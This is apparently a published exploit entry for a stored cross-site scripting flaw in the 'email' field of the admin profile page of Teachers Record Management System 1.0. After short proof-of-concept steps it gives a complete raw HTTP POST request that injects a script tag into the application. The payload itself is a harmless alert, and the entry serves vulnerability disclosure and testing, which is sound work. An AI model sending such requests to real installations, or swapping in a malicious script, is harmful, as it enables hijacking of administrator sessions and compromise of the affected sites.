Teachers Record Management System 1.0 - 'email' Stored Cross-site Scripting (XSS)

# Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS)
# Date: 05-10-2021
# Exploit Author: nhattruong
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/admin/index.php
2. Do login
3. Execute the payload
4. Reload page to see the different

Payload:

POST /admin/adminprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/adminprofile.php
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
Upgrade-Insecure-Requests: 1

adminname=Adminm&username=admin&mobilenumber=8979555556&email="><script>alert(123);</script>&submit=